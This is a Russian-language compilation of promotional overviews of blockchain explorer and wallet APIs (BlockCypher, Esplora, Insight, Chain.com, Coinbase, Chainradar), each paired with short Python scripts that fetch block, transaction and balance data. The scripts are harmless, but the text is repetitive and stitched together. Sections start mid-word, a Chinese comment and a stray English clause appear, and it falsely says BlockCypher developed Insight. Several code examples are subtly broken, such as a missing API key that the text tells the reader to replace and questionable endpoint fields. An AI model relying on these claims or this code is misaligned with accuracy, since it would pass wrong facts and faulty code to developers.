BlockCypher? Основные услуги BlockCypher включают: Полные ноды блокчейнов – BlockCypher управляет полными нодами популярных блокчейнов, таких как Bitcoin, Ethereum, Litecoin и др. Это позволяет разработчикам взаимодействовать с блокчейнами без необходимости самостоятельно разворачивать и поддерживать инфраструктуру. Инструменты разработки – BlockCypher предоставляет широкий набор API, SDK и инструментов для упрощения интеграции блокчейнов в приложения. Это включает функции для отправки транзакций, проверки балансов, создания кошельков и многое другое. Аналитика и мониторинг – BlockCypher предлагает инструменты для анализа активности в блокчейнах в режиме реального времени, включая отслеживание транзакций, адресов и другую статистику. Безопасность и соответствие – Решения BlockCypher обеспечивают безопасность и соответствие регуляторным требованиям при работе с блокчейнами. Использование BlockCypher BlockCypher используется широким кругом клиентов, включая финтех-стартапы, обменные пункты криптовалют, платежные системы и другие организации, стремящиеся интегрировать блокчейн-технологии в свои продукты. Благодаря простоте использования и надежности, BlockCypher помогает ускорить внедрение блокчейнов в реальном мире. BlockCypher – это облачная платформа, предоставляющая веб-сервисы для работы с блокчейнами криптовалют, таких как Bitcoin, Litecoin, Dogecoin и Dash. Компания была основана в 2014 году и базируется в Редвуд-Сити, Калифорния. Основные возможности BlockCypher API для блокчейнов BlockCypher предоставляет REST API для взаимодействия с различными блокчейнами, включая получение данных о транзакциях, балансах кошельков, блоках и другой информации. Это позволяет разработчикам легко интегрировать функциональность блокчейнов в свои приложения. Микросервисы Платформа BlockCypher предлагает готовые микросервисы, такие как генерация адресов кошельков, создание и отправка транзакций, а также уведомления о новых транзакциях. Эти микросервисы могут быть легко интегрированы в приложения, упрощая процесс разработки. Мониторинг и аналитика BlockCypher предоставляет инструменты для мониторинга и анализа активности на блокчейне. Разработчики могут отслеживать транзакции, балансы кошельков и другие метрики, что полезно для создания приложений, связанных с криптовалютами. Масштабируемость и безопасность Благодаря облачной архитектуре, BlockCypher обеспечивает высокую масштабируемость и надежность своих сервисов. Компания также уделяет большое внимание безопасности, используя передовые методы шифрования и защиты данных. Применение BlockCypher BlockCypher находит применение в различных областях, где требуется интеграция с блокчейнами криптовалют: Финансовые приложения: Компании, работающие с криптовалютами, могут использовать BlockCypher для создания кошельков, отслеживания транзакций и управления балансами. Интернет вещей (IoT): BlockCypher может быть использован для создания децентрализованных приложений для Интернета вещей, где устройства могут безопасно обмениваться данными и выполнять микроплатежи. Игры и развлечения: Игровые компании могут использовать BlockCypher для интеграции криптовалют в свои приложения, позволяя пользователям совершать покупки и получать вознаграждения. Логистика и цепочки поставок: BlockCypher может быть использован для отслеживания движения товаров и активов по цепочке поставок с помощью блокчейна. Благодаря своим мощным возможностям и широкому спектру поддерживаемых блокчейнов, BlockCypher становится популярным выбором для разработчиков, стремящихся интегрировать технологию блокчейна в свои приложения. В целом, BlockCypher является ведущим провайдером облачных блокчейн-сервисов, предлагающим комплексные решения для разработчиков и компаний, желающих использовать преимущества блокчейн-технологий. Python скрипт для получения данных о конкретном блоке с помощью API от blockchair.com: import requests # Замените 'bitcoin' на любую другую криптовалюту, если нужно blockchain = 'bitcoin' block_number = 1 # Номер блока, о котором нужно получить информацию url = f'https://api.blockchair.com/{blockchain}/blocks/{block_number}' response = requests.get(url) if response.status_code == 200: block_data = response.json() print('Информация о блоке:') print(f'Высота блока: {block_data["data"][str(block_number)]["block"]["height"]}') print(f'Хэш блока: {block_data["data"][str(block_number)]["block"]["hash"]}') print(f'Временная метка: {block_data["data"][str(block_number)]["block"]["time"]}') print(f'Количество транзакций: {len(block_data["data"][str(block_number)]["transactions"])}') else: print('Ошибка при получении данных') Этот скрипт использует библиотеку requests для отправки запроса к API blockchair.com и выводит информацию о блоке с заданным номером. Пожалуйста, помните, что использование API требует соответствия условиям использования сервиса. Python скрипт, который отправляет запросы к API этих веб-служб. Установите библиотеку requests, если у вас ее еще нет: pip install requests Импортируйте библиотеку requests в вашем скрипте: import requests Сделайте GET запрос к API blockchair.com или BlockCypher (замените URL на нужный вам): url = 'https://api.blockchair.com/bitcoin/stats' response = requests.get(url) if response.status_code == 200: data = response.json() print(data) else: print('Ошибка при получении данных:', response.status_code) Это простой пример, который можно адаптировать для работы с конкретными API и данными, которые вам нужны. Не забудьте изучить документацию API, чтобы узнать, какие запросы поддерживаются и как обрабатывать возвращаемые данные. Esplora – Self-hosted blockchain explorer вателям легко просматривать и анализировать транзакции, адреса и другую важную информацию в цепочке блоков. Esplora – это популярный обозреватель с открытым исходным кодом, который можно развернуть на собственном сервере. Мы постараемся рассмотреть особенности Esplora, преимущества самостоятельного хостинга и пошаговую инструкцию по его установке и настройке. Присоединяйтесь к нам, чтобы узнать, как использовать Esplora для исследования блокчейна и улучшения вашего опыта работы с криптовалютами. Esplora – это мощный инструмент для просмотра и анализа данных блокчейна. Это программное обеспечение с открытым исходным кодом, которое позволяет самостоятельно развернуть и управлять собственным блокчейн-обозревателем. Его можно использовать для исследования различных блокчейнов, включая Bitcoin, Litecoin и другие. Рассмотрим особенности Esplora, процесс её установки и преимущества использования персонального блокчейн-обозревателя. Присоединяйтесь к нам в увлекательном путешествии в мир децентрализованных технологий! Ключевые особенности Esplora Самостоятельное развертывание: Esplora можно развернуть локально на собственном сервере или виртуальной машине. Это обеспечивает полный контроль над данными и повышенную конфиденциальность. Поддержка нескольких блокчейнов: Esplora поддерживает различные блокчейны, включая Bitcoin, Litecoin и другие совместимые с Bitcoin блокчейны. Это делает его универсальным инструментом для исследования и анализа. Расширенные функции поиска и фильтрации: Esplora предоставляет мощные инструменты поиска и фильтрации, позволяющие легко находить конкретные транзакции, адреса или блоки по различным критериям. Визуализация данных: Esplora предлагает удобные визуализации данных блокчейна, такие как графики транзакций, распределение вознаграждений за блоки и другие статистические данные. API для интеграции: Esplora имеет встроенный API, который позволяет интегрировать его с другими приложениями и инструментами для автоматизации задач и сбора данных. Применение Esplora Esplora может быть полезен в различных сценариях, включая: Исследование блокчейна: Разработчики, исследователи и энтузиасты могут использовать Esplora для глубокого анализа данных блокчейна, отслеживания транзакций и изучения структуры блоков. Аудит и соответствие требованиям: Компании и организации, работающие с криптовалютами, могут использовать Esplora для проведения аудита и обеспечения соответствия нормативным требованиям, отслеживая происхождение средств и другие важные детали. Образовательные цели: Esplora может быть полезным инструментом для преподавателей и студентов, изучающих блокчейн и криптовалюты, предоставляя практический опыт работы с реальными данными блокчейна. Esplora – это самостоятельно хостируемый блокчейн-эксплорер, который позволяет пользователям исследовать и анализировать данные любого блокчейна. Этот инструмент был разработан командой Blockstream и предназначен для предоставления надежного и безопасного способа взаимодействия с блокчейном без необходимости полагаться на централизованные сторонние сервисы. Основные возможности Esplora Самостоятельное размещение: Esplora может быть легко развернут на собственном сервере или в облачной инфраструктуре, что дает пользователям полный контроль над своими данными и конфиденциальностью. Поддержка различных блокчейнов: Esplora поддерживает множество блокчейнов, включая Bitcoin, Litecoin, Liquid и другие. Это делает его универсальным инструментом для исследования различных криптовалютных экосистем. Подробная информация о транзакциях и блоках: Esplora предоставляет детальную информацию о транзакциях, включая входы, выходы, комиссии, статус и многое другое. Пользователи также могут просматривать подробности о блоках, таких как высота, хеш, время создания и размер. Интуитивный пользовательский интерфейс: Интерфейс Esplora отличается простотой и удобством использования. Пользователи могут легко искать, фильтровать и анализировать данные блокчейна. API и интеграция: Esplora предоставляет мощное API, которое позволяет другим приложениям и сервисам взаимодействовать с блокчейном через этот инструмент. Это делает его идеальным вариантом для разработчиков, желающих встроить функциональность блокчейн-эксплорера в свои проекты. Преимущества использования Esplora Основным преимуществом Esplora является возможность самостоятельно размещать и контролировать блокчейн-эксплорер. Это позволяет пользователям избежать зависимости от централизованных сервисов и обеспечивает более высокий уровень конфиденциальности и безопасности. Кроме того, Esplora предоставляет богатую функциональность и возможности анализа данных блокчейна, что делает его ценным инструментом для разработчиков, аналитиков и исследователей. Python скрипт для взаимодействия с Esplora – самостоятельно размещаемым blockchain explorer: import requests # Esplora API endpoint ESPLORA_URL = "https://blockstream.info/api" # Функция для получения информации о блоке def get_block_info(block_hash): url = f"{ESPLORA_URL}/block/{block_hash}" response = requests.get(url) if response.status_code == 200: return response.json() else: return None # Функция для получения информации о транзакции def get_tx_info(tx_id): url = f"{ESPLORA_URL}/tx/{tx_id}" response = requests.get(url) if response.status_code == 200: return response.json() else: return None # Пример использования block_hash = "000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f" block_info = get_block_info(block_hash) if block_info: print(f"Block height: {block_info['height']}") print(f"Block timestamp: {block_info['timestamp']}") print(f"Block transactions: {len(block_info['tx'])}") tx_id = "e10e2e8c7cf517b1c252cdf95d75bc0f7f5c8d4d76d0c3c9a55e9f2ad75e76d" tx_info = get_tx_info(tx_id) if tx_info: print(f"Transaction ID: {tx_info['txid']}") print(f"Transaction size: {tx_info['size']} bytes") print(f"Transaction fee: {tx_info['fee']} satoshis") Этот скрипт использует API Esplora для получения информации о блоках и транзакциях в блокчейне. Он содержит две функции: get_block_info(block_hash): Получает информацию о блоке с указанным хэшем. get_tx_info(tx_id): Получает информацию о транзакции с указанным ID. В примере использования показано, как вызывать эти функции для получения информации о конкретном блоке и транзакции. Обратите внимание, что этот скрипт использует библиотеку requests для выполнения HTTP-запросов к API Esplora. Убедитесь, что у вас установлена эта библиотека, прежде чем запускать скрипт. В заключение, Esplora – это мощный и гибкий блокчейн-эксплорер, который позволяет пользователям самостоятельно управлять своими данными и взаимодействовать с блокчейном на более глубоком уровне. Его широкая поддержка различных блокчейнов, интуитивный интерфейс и возможности API делают его отличным выбором для тех, кто ищет надежный и настраиваемый инструмент для исследования криптовалютных экосистем. Esplora – мощный и гибкий инструмент для исследования блокчейна, который обеспечивает полный контроль над данными и расширенные возможности анализа. Его открытый исходный код и самостоятельное развертывание делают его привлекательным вариантом для тех, кто ценит конфиденциальность и гибкость. Insight REST API bitcoin network В мире, где криптовалюты становятся все более популярной и широко используемой формой цифровых денег, важно понимать, как работает сеть Bitcoin и какие инструменты доступны для взаимодействия с ней. В этой статье мы рассмотрим REST API, которое предоставляет удобный и простой способ получать информацию о сети Bitcoin и управлять своими транзакциями. REST API является мощным инструментом, который позволяет разработчикам и пользователям создавать приложения и сервисы, взаимодействующие с сетью Bitcoin. Для эффективного взаимодействия с этой сетью и получения актуальной информации о ее состоянии разработчики часто используют специализированные API. Одним из таких API является Insight REST API, который предоставляет удобный доступ к основным данным Биткоин-блокчейна. В этой статье мы рассмотрим возможности Insight API и узнаем, как его можно использовать для создания приложений, работающих с Биткоин-сетью. Insight – это открытый источник REST API для взаимодействия с биткойн-сетью. Он предоставляет разработчикам простой и удобный способ получения информации о блокчейне биткойна и выполнения различных операций с ним. Основные возможности Insight REST API: Получение информации о блоках и транзакциях: Получение данных о последних блоках Получение информации о конкретном блоке по его хэшу или высоте Получение данных о транзакциях в блоке или по их хэшу Отправка и получение транзакций: Отправка новых транзакций в сеть Получение статуса и деталей существующих транзакций Работа с адресами: Получение информации об остатке, полученных и отправленных транзакциях для заданного адреса Получение списка адресов, связанных с данным адресом (входы и выходы транзакций) Доступ к данным сети: Получение статистики по сети, включая общий баланс, хэшрейт, сложность и др. Получение информации о состоянии нод (пиров) в сети Insight REST API построен на базе Node.js и использует проверенные библиотеки для работы с биткойн-блокчейном, такие как Bitcore. Он предоставляет простой и интуитивно понятный интерфейс для интеграции с биткойн-сетью в ваших приложениях. Основные преимущества использования Insight REST API: Открытый исходный код и активное сообщество разработчиков Поддержка широкого спектра операций с биткойн-блокчейном Возможность самостоятельного развертывания API-сервера Кроссплатформенность и простота интеграции Сегодня, когда криптовалюты становятся все более популярными и широко используемыми, понимание их внутреннего функционирования и взаимодействия с сетью приобретает огромное значение. REST API (Representational State Transfer Application Programming Interface) для биткойн-сети – это инструмент, который позволяет нам получить доступ к различным данным и функциям сети, обеспечивая гибкость и эффективность в анализе и разработке приложений, связанных с криптовалютой. В этой статье мы рассмотрим Insigh REST API – один из таких инструментов, который предоставляет уникальные возможности для изучения и управления биткойн-транзакциями. Основы Insigh REST API: Insight REST API представляет собой набор программных интерфейсов, разработанных компанией BlockCypher, позволяющих разработчикам получать и обрабатывать информацию о транзакциях, кошельках, блоках и других аспектах биткойн-сети. API доступен в open-source формате, что позволяет свободно использовать и модифицировать его для различных целей. Основные функции Insigh REST API включают: Получение информации о кошельках: API позволяет получить информацию о балансе кошелька, списке транзакций, адресах входа и выхода. Анализ транзакций: Разработчики могут получить подробную информацию о каждом транзакции, включая дату, сумму, адреса отправителя и получателя, а также другие метаданные. Блокчейн-навигация: Insigh REST API предоставляет доступ к информации о блоках, позволяя пользователям изучать историю и структуру биткойн-сети. Управление транзакциями: Разработчики могут создавать, проверять и управлять новыми транзакциями, используя API. Преимущества использования Insigh REST API: Гибкость и универсальность: API поддерживает различные языки программирования, такие как Python, JavaScript, Ruby и другие, что позволяет разработчикам использовать его в различных проектах. Разрешаемая скорость: Insigh REST API обеспечивает высокую скорость обработки запросов, что делает возможным в реальном времени мониторинг и анализ транзакций. Бесплатность: Базовые функции Insigh REST API предоставляются бесплатно, что делает его доступным для широкого круга разработчиков. Обновляемая база данных: API постоянно обновляется, обеспечивая точную и актуальную информацию о биткойн-сете. Python-cкрипт для получения информации о блоке и балансе адреса: Для взаимодействия с Insight REST API Bitcoin Network, вы можете использовать библиотеку requests в Python. import requests def get_block_info(block_hash): url = f'https://insight.bitpay.com/api/block/{block_hash}' response = requests.get(url) if response.status_code == 200: return response.json() else: return None def get_address_balance(address): url = f'https://insight.bitpay.com/api/addr/{address}/balance' response = requests.get(url) if response.status_code == 200: return int(response.text) / 1e8 else: return None if __name__ == "__main__": # Замените здесь свой блок-хэш и адрес block_hash = '00000000000000000007ed0e1a7eac8d5fd7a1dd839067f8ca5d0ab0f3efc2a9' address = '1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa' block_info = get_block_info(block_hash) if block_info: print(f'Block Info: {block_info}') else: print(f'Could not fetch block info for {block_hash}') balance = get_address_balance(address) if balance is not None: print(f'Address Balance: {balance} BTC') else: print(f'Could not fetch balance for {address}') Перед запуском скрипта убедитесь, что у вас установлена библиотека requests. Если нет, установите ее с помощью: pip install requests Замените block_hash и address на значения, которые вы хотите использовать для проверки. Python скрипт, который использует Insight REST API для получения информации о сети Bitcoin: import requests # URL Insight API endpoint для получения информации о сети Bitcoin url = 'https://insight.bitpay.com/api/status' # Отправка запроса на API response = requests.get(url) # Проверка успешности запроса if response.status_code == 200: # Преобразование ответа JSON в Python объект data = response.json() # Вывод информации о сети Bitcoin print('Информация о сети Bitcoin:') print('Блоков: ', data['info']['blocks']) print('Транзакций: ', data['info']['total_transactions']) print('Текущая сложность: ', data['info']['difficulty']) print('Текущая хэшрейт: ', data['info']['networkhashps']) else: print('Ошибка при получении данных от API.') В этом скрипте мы используем библиотеку requests для отправки запроса GET к конечной точке API https://insight.bitpay.com/api/status, которая предоставляет информацию о текущем состоянии сети Bitcoin. Затем мы проверяем статус ответа на запрос и, если запрос был успешным (статус код 200), мы преобразуем ответ JSON в Python объект и выводим некоторые ключевые показатели сети Bitcoin, такие как количество блоков, транзакций, текущая сложность и хэшрейт. Убедитесь, что у вас установлена библиотека requests, прежде чем запускать этот скрипт. Вы можете установить ее с помощью команды pip install requests. Этот скрипт предоставляет простой пример использования Insight REST API для получения информации о сети Bitcoin. Вы можете расширить его, используя другие конечные точки API, предоставляемые Insight, для получения более подробной информации о блоках, транзакциях, адресах и т.д. Вывод: Инсайт REST API представляет собой мощный инструмент для работы с биткойн-сетью и разработки криптовалютных приложений. Он предоставляет не только доступ к основным данным, но и позволяет создавать и управлять транзакциями, а также изучать структуру и историю блокчейна. С его помощью разработчики могут более эффективно анализировать и использовать данные биткойн-сети, расширяя возможности для новых инновационных решений в мире криптовалют. Insight REST API – это отличный выбор для разработчиков, желающих быстро и эффективно интегрировать биткойн-функциональность в свои приложения. Его открытость, гибкость и богатый функционал делают его одним из лучших инструментов для работы с биткойн-блокчейном. Chain.com API bitcoin network Интегрировать функциональность биткоин-сети в свои приложения и платформы. Он предоставляет доступ к услугам сети, таким как создание и подтверждение транзакций, извлечение данных и обработка платежей, что делает его полезным инструментом для различных приложений и бизнес-решений. В этой статье мы рассмотрим основные функции Chain.com API и возможности его использования. Chain.com – это платформа для построения децентрализованных финансовых приложений (DeFi), которая предоставляет API для ряда блокчейн-сетей, включая Биткоин. В этой статье мы рассмотрим возможности и преимущества использования Chain.com API для работы с сетью Биткоин. Рассмотрим основы работы с API Chain.com для взаимодействия с сетью Биткоин. Chain.com предоставляет доступ к данным и функциям, необходимым для работы с криптовалютой, а также позволяет быстро и безопасно создавать и управлять транзакциями. Мы изучим ключевые возможности и преимущества использования данного API, а также рассмотрим примеры кода для определенных задач, связанных с Биткоин-операциями. Присоединяйтесь к нам, чтобы узнать больше о том, как эффективно использовать Chain.com API для работы с сетью Биткоин! Chain.com предоставляет несколько типов API для работы с Биткоин-сетью: Bitcoin API – это основное API для взаимодействия с сетью Биткоин. Оно позволяет отправлять и получать транзакции, создавать адреса и проверять баланс кошельков. Bitcoin API поддерживает несколько форматов адресов, включая segwit-адреса (bech32). Blockchain API – это API для доступа к данным блокчейна Биткоин. Оно позволяет получать информацию о блоках, транзакциях и адресах. Blockchain API поддерживает возможность фильтрации данных по различным параметрам, таким как хеш блока, количество конфирмаций и т.д. Market Data API – это API для получения рыночных данных о Биткоине, таких как котировки, объемы торгов и т.д. Оно позволяет получать данные от нескольких популярных криптовалютных бирж, включая Binance, Bitfinex и Coinbase. Функциональность Chain.com API Создание транзакций: API позволяет создавать новые транзакции в сети Bitcoin. Это может быть полезно для разработчиков криптовалютных платформ, которые хотят предоставить возможность создания транзакций своим пользователям без необходимости взаимодействия с блокчейном напрямую. Подтверждение транзакций: API также предоставляет функциональность подтверждения транзакций, что позволяет ускорить процесс их включения в блокчейн и увеличить вероятность их успешного завершения. Это особенно важно для пользователей, которые хотят уменьшить риск потери транзакций из-за конкуренции с другими транзакциями в очереди. Извлечение данных: Chain.com API позволяет извлекать информацию о транзакциях, блоках и адресах в сети Bitcoin. Это может быть полезным для аналитиков и разработчиков, которые хотят получать данные о состоянии сети и использовать их для разработки новых функциональностей или оптимизации существующих решений. Обработка платежей: API предоставляет функции для создания и обработки платежей в сети Bitcoin. Это может быть полезным для интеграции платежевой функциональности в приложения и платформы, которые хотят принимать платежи через криптовалюту. Преимущества использования Chain.com API Простота использования: Chain.com API обеспечивает простой и удобный интерфейс для работы с сетью Bitcoin, что simplifies the development process and allows developers to focus on their core business logic. Надежность: API обеспечивает надежную работу, что позволяет предотвратить потери или неправильные включения транзакций в блокчейн. Масштабируемость:Chain.com API поддерживает масштабируемость, что делает его подходящим для различных проектов, от малых приложений до глобальных платформ с большим количеством пользователей. Безопасность: API обеспечивает высокий уровень безопасности при обработке криптовалютных транзакций, что важно для защиты пользовательских средств и предотвращения атак на сеть. Примеры использования Chain.com API для работы с сетью Биткоин: Создание кошелька Биткоин – с помощью Bitcoin API можно легко создать новый адрес Биткоин и задать начальный баланс кошелька. Отправка и получение транзакций – с помощью Bitcoin API можно отправлять и получать транзакции в сети Биткоин. Проверка баланса кошелька – с помощью Bitcoin API можно легко проверить баланс кошелька Биткоин. Анализ рыночных данных – с помощью Market Data API можно получать актуальные рыночные данные о Биткоине, такие как котировки, объемы торгов и т.д. Python-скрипт, который демонстрирует взаимодействие с API Chain.com для получения информации о сети Bitcoin: import requests # URL-адрес API Chain.com для получения информации о сети Bitcoin url = 'https://chain.com/api/v1/bitcoin/network' # Отправка запроса на API response = requests.get(url) # Проверка успешности запроса if response.status_code == 200: # Преобразование ответа JSON в Python-объект data = response.json() # Вывод информации о сети Bitcoin print('Информация о сети Bitcoin:') print('Блоков:', data['block_height']) print('Сложность:', data['difficulty']) print('Хэшрейт:', data['hash_rate']) print('Средний размер блока:', data['average_block_size']) # и так далее для других полей в ответе JSON else: print('Ошибка при получении данных о сети Bitcoin.') Этот скрипт использует библиотеку requests для отправки запроса GET к API Chain.com и получения информации о сети Bitcoin. Ответ от API возвращается в формате JSON, который затем преобразуется в Python-объект с помощью метода json() библиотеки requests. Наконец, скрипт выводит некоторые ключевые поля из полученных данных, такие как высота блока, сложность, хэшрейт и средний размер блока. Обратите внимание, что для использования этого скрипта вам может потребоваться установить библиотеку requests, если она еще не установлена. Это можно сделать с помощью команды pip install requests. Также, не забудьте заменить 'your_api_key' на ваш действительный ключ API от Chain.com. Я надеюсь, что это поможет вам начать работу с API Chain.com для получения информации о сети Bitcoin! Для работы с Chain.com API, вам понадобится установить requests через pip: pip install requests Затем создайте простой скрипт, который будет получать информацию о последнем блоке в сети Bitcoin через API Chain.com: import requests import json # 替换为你自己的API密钥 API_KEY = "YOUR_CHAIN_COM_API_KEY" BASE_URL = "https://api.chain.com/v2" def get_last_block_info(): headers = { "Content-Type": "application/json", "Authorization": f"Bearer {API_KEY}" } # Bitcoin主网的区块链地址 blockchain = "bitcoin_mainnet" url = f"{BASE_URL}/blockchains/{blockchain}/blocks/latest" response = requests.get(url, headers=headers) if response.status_code == 200: data = json.loads(response.text) block_hash = data["hash"] block_height = data["height"] timestamp = data["timestamp"] print(f"Last Block Hash: {block_hash}") print(f"Block Height: {block_height}") print(f"Block Timestamp: {timestamp}") else: print(f"Error: {response.status_code} - {response.text}") if __name__ == "__main__": get_last_block_info() Обратите внимание, чтобы скрипт работал, вы должны заменить "YOUR_CHAIN_COM_API_KEY" на ваш реальный API ключ Chain.com. Не забудьте добавить ключ в безопасное место или использовать переменную окружения. Пожалуйста, обратитесь к официальной документации Chain.com для получения более подробной информации о доступе к API и ограничениях. В заключение, Chain.com API предоставляет мощные возможности для работы с сетью Биткоин, включая простоту использования, высокую надежность, масштабируемость, безопасность и поддержку. С его помощью разработчики могут легко создавать децентрализованные финансовые приложения, которые работают с сетью Биткоин. Chain.com API – это мощный инструмент для разработчиков и бизнес-пользователей, который позволяет интегрировать функциональность биткоин-сети в свои приложения и платформы. С его помощью можно создавать, подтверждать, извлекать данные и обрабатывать платежи в сети Bitcoin, что делает его универсальным решением для работы с криптовалютами. Coinbase Wallet Blockchain API bitcoin network Coinbase Wallet – это популярный криптовалютный кошелек, который позволяет пользователям безопасно хранить, отправлять и получать криптовалюты, такие как Bitcoin, Ethereum и многие другие. Кошелек Coinbase предлагает удобный и доступный способ взаимодействия с криптовалютными активами для пользователей по всему миру. Платформа Coinbase Wallet предлагает своим пользователям доступ к расширенным возможностям блокчейна биткоина. Благодаря интеграции с блокчейн-API, Coinbase Wallet позволяет осуществлять более глубокий анализ транзакций и взаимодействие с сетью биткоина. В этой статье мы рассмотрим, как использование блокчейн-API Coinbase Wallet может быть полезно для работы с биткоин-транзакциями. С помощью Blockchain API можно получить доступ к широкому спектру данных о blockchain-сети Bitcoin. Эта технология позволяет приложениям взаимодействовать с сетью и получать информацию о транзакциях, блоках, адресах и других элементах blockchain. Coinbase Wallet – это популярный digital wallet, который использует Blockchain API для обеспечения пользователям контроля над своими цифровыми активами. Одним из ключевых аспектов Coinbase Wallet является его интеграция с Blockchain API. Blockchain API – это интерфейс программирования приложений, который позволяет разработчикам создавать приложения, взаимодействующие напрямую с блокчейн-сетями, такими как сеть Bitcoin. Blockchain API предоставляет доступ к данным и функциональным возможностям блокчейна, что позволяет разработчикам создавать инновационные решения и услуги на основе этой технологии. Сеть Bitcoin, как первая и самая известная блокчейн-сеть, предлагает децентрализованную и безопасную среду для проведения транзакций с криптовалютой. Bitcoin использует распределенную бухгалтерскую книгу, которая записывает все транзакции в блокчейн, обеспечивая прозрачность, безопасность и неизменность данных. Интеграция Coinbase Wallet с Blockchain API позволяет пользователям напрямую взаимодействовать с сетью Bitcoin. Пользователи могут отправлять и получать биткоины, отслеживать свои транзакции и управлять своими активами напрямую в блокчейн-сети. Coinbase Wallet упрощает этот процесс, предоставляя удобный интерфейс и автоматизируя многие сложные аспекты взаимодействия с сетью Bitcoin. Одним из главных преимуществ использования Coinbase Wallet в сочетании с Blockchain API является уровень безопасности, который они обеспечивают. Coinbase Wallet использует передовые технологии шифрования и защищенное хранение, чтобы гарантировать, что криптовалютные активы пользователей остаются в безопасности. Интеграция с Blockchain API также позволяет пользователям напрямую проверять и подтверждать свои транзакции в блокчейн-сети, что обеспечивает дополнительный уровень прозрачности и безопасности. Кроме того, Coinbase Wallet и Blockchain API предлагают широкие возможности для разработчиков. Разработчики могут использовать API для создания децентрализованных приложений (dApps), которые используют преимущества сети Bitcoin и других блокчейн-платформ. Это может включать в себя децентрализованные финансовые услуги, смарт-контракты, решения для управления цепочками поставок и многое другое. Coinbase Wallet также предлагает удобную функцию восстановления кошелька, которая обеспечивает дополнительный уровень защиты для пользователей. При создании кошелька пользователи могут записать 12-словную фразу для восстановления, которая позволяет им восстановить доступ к своим средствам в случае потери или кражи устройства. Python скрипт, который использует requests для получения информации о балансе кошелька: Чтобы работать с API Coinbase Wallet Blockchain, вам потребуется API ключ, который вы можете получить, аккаунт Coinbase и следуя инструкциям на странице “API Keys” (API ключи) в разделе “Settings” (Настройки). Для работы с API вам потребуется использовать библиотеку для обработки HTTP-запросов, например, requests. import requests # Ваш API ключ api_key = "YOUR_API_KEY" # URL для запроса баланса url = f"https://api.coinbase.com/v2/accounts/YOUR_ACCOUNT_ID?api_key={api_key}" # Отправляем GET-запрос response = requests.get(url) # Проверяем статус кода ответа if response.status_code == 200: # Получаем данные из ответа в формате JSON data = response.json() # Извлекаем баланс balance = data["data"]["amount"] # Выводим баланс print(f"Your balance: {balance}") else: print("Error: Unable to fetch balance") Обратите внимание, что вы должны заменить 'YOUR_API_KEY' на ваш реальный API ключ и 'YOUR_ACCOUNT_ID' на ваш реальный идентификатор кошелька, который вы можете получить из настройок вашего Coinbase Wallet. Для работы с другими функциями API, таких как отправка транзакций или получение истории транзакций, вам потребуется использовать соответствующие URLs и параметры запросов, которые описаны в официальной документации Coinbase API: https://developers.coinbase.com/api/v2 Не забудьте про настройки безопасности, такие как хранение API ключей в безопасном месте и использование HTTPS для защиты данных. Python скрипт, который использует Coinbase API для получения текущего курса Bitcoin: import requests def get_bitcoin_price(): response = requests.get('https://api.coinbase.com/v2/prices/spot?currency=USD') data = response.json() amount = data['data']['amount'] return amount print("Current Bitcoin price: ", get_bitcoin_price()) В этом скрипте мы делаем запрос к endpoint ‘https://api.coinbase.com/v2/prices/spot?currency=USD’ Coinbase API, который возвращает текущую стоимость Bitcoin в USD. Если вам нужно взаимодействовать с блокчейном Bitcoin напрямую, вам понадобится использовать библиотеку, которая может работать с Bitcoin API, такую как python-bitcoinlib. Пожалуйста, учтите, что для полноценной работы с API Coinbase и Blockchain API вам нужно зарегистрироваться и получить соответствующие API ключи. В целом, Coinbase Wallet, интегрированный с Blockchain API, предлагает пользователям удобный и безопасный способ взаимодействия с сетью Bitcoin и другими блокчейн-платформами. Он предоставляет широкие возможности для разработчиков и способствует дальнейшему внедрению криптовалют и блокчейн-технологий в различных отраслях. С его помощью пользователи могут с уверенностью исследовать мир криптовалют и использовать преимущества, которые он предлагает. Chainradar API – Blockchain Explorer API for Chainradar hainradar – это популярный веб-сайт, предоставляющий расширенные инструменты для анализа и исследования блокчейнов различных криптовалют. Помимо основного веб-интерфейса, Chainradar также предлагает разработчикам доступ к своему мощному API, позволяющему интегрировать функциональность Chainradar в собственные приложения и проекты. Chainradar API позволяет разработчикам получать доступ к данным блокчейна и создавать собственные приложения для мониторинга и анализа транзакций. Мы расскажем о том, как использовать Chainradar API, какие функции он предоставляет и какие преимущества он может дать разработчикам. Рассмотрим ChainRadar API – инструмент для изучения блокчейна и проведения анализа транзакций в различных криптовалютах. ChainRadar API предоставляет удобный и доступный способ получения информации о блоках, транзакциях и адресах, используя стандартизированные запросы. Этот API облегчает разработку приложений и сервисов, связанных с криптовалютами, и позволяет пользователям легко следить за своими цифровыми активами. Присоединяйтесь к нам, чтобы узнать больше о возможностях ChainRadar API и его применении в вашем проекте! Возможности Chainradar API Chainradar API предоставляет широкий спектр возможностей для работы с блокчейнами криптовалют: Получение информации о блоках – Вы можете получить данные о последних добавленных блоках, включая высоту блока, хэш, время создания, количество транзакций и другую полезную информацию. Поиск и получение сведений о транзакциях – API позволяет находить транзакции по хэшу, адресу отправителя или получателя, а также получать подробные данные о транзакциях, такие как входы, выходы, комиссии и время подтверждения. Анализ адресов – Вы можете получать детальную информацию об адресах криптовалют, включая баланс, историю транзакций, связанные адреса и другие метрики. Отслеживание токенов – Chainradar API поддерживает работу с токенами, размещенными на блокчейнах, позволяя получать данные о балансах, переводах и другую аналитику по токенам. Мониторинг сети – С помощью API можно отслеживать состояние сети, включая хэшрейт, сложность майнинга, количество активных узлов и другие важные показатели. Использование Chainradar API Для использования Chainradar API необходимо получить API-ключ, который можно сгенерировать на сайте Chainradar. После этого вы сможете отправлять HTTP-запросы к API, используя свой ключ для аутентификации. Chainradar предоставляет подробную документацию с примерами использования API на различных языках программирования, что облегчает интеграцию в ваши проекты. Преимущества Chainradar API Обширный набор функций для работы с блокчейнами криптовалют Поддержка множества популярных блокчейнов, включая Bitcoin, Ethereum, Litecoin и другие Высокая производительность и надежность API Подробная документация и примеры использования Бесплатный тариф для разработчиков с ограниченным количеством запросов Chainradar API – это мощный и гибкий инструмент, предоставляющий разработчикам доступ к обширной информации о блокчейнах. Этот Blockchain Explorer API позволяет легко извлекать данные из различных блокчейнов, таких как Bitcoin, Ethereum, Litecoin и многих других. В этой статье мы рассмотрим основные возможности Chainradar API и покажем, как использовать его для улучшения ваших приложений и сервисов на основе блокчейна. Основные возможности Chainradar API Поддержка нескольких блокчейнов Chainradar API поддерживает широкий спектр популярных блокчейнов, включая Bitcoin, Ethereum, Litecoin, Bitcoin Cash, Dash, Dogecoin, Zcash и многие другие. Это позволяет разработчикам использовать один API для доступа к данным различных 